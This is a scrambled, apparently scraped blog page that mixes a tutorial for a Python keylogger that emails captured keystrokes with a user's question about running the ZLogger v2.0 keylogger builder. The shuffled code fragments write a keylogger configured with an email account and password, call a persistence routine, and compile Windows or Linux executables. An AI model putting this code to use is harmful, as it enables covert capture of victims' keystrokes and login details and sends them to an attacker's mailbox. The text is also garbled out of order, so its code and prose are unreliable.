correct login details (without typos) or check if the user likes to use their keyboard or mouse to navigate. deleting or formatting – I mean I would like to obtain e.g. Using pynput library I can put Listener on keystrokes, assign it to the variable and do the simple string operations, e.g. I would like the python script to log every keystroke that is pressed and send it via email after repeated period of time. The idea about the keylogger is very simple. Without further ado, let’s build this simple hacker tool ? To fulfill my need, for this project I’m going to need fake mail account and several minutes to code ? Print("\n\n Don't forget to allow less secure applications in your Gmail account.Today I would like to build simple keylogger with Python, just to have a closer look on pynput library and check how difficult it is. Subprocess.call()Ĭreate_keylogger(arguments.out, arguments.interval, arguments.email, arguments.password) Required_arguments.add_argument("-o", "-out", dest="out", help="Output file name.", required=True)ĭef create_keylogger(file_name, interval, email, password):įile.write("zlogger = keylogger.Keylogger(" interval ",'" email "','" password "')\n")įile.write("zlogger.become_persistent()\n") Required_arguments.add_argument("-p", "-password", dest="password", help="Password for the email address given in the -e argument.") Required_arguments.add_argument("-e", "-email", dest="email", help="Email address to send reports to.") Required_arguments = parser.add_argument_group('Required Arguments') Parser.add_argument("-l", "-linux", dest="linux", help="Generate a Linux executable.", action='store_true') Parser.add_argument("-w", "-windows", dest="windows", help="Generate a Windows executable.", action='store_true') Parser.add_argument("-i", "-interval", dest="interval", help="Time between reports in seconds.", default=120) Parser._optionals.title = "Optional Arguments" Parser = argparse.ArgumentParser(description='ZLogger v2.0') Import os WINDOWS_PYTHON_INTERPRETER_PATH = os.path.expanduser("~/.wine/drive_c/Python27/Scripts/pyinstaller.exe") Zlogger.py: error: argument -o/-out is requiredĪs i understand i should type email with password but i have no idea what exactly i should type here required_arguments.add_argument("-o", "-out", dest="out", help="Output file name.", required=True) Waiting for responces usage: zlogger.py -o Hello everyone i am trying to run an existing code which i found in github repository related with keylogger written in python and i got following errors after runninig zloggers.py does anyone know where is mistake?Here is a source code Thanks in advance.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |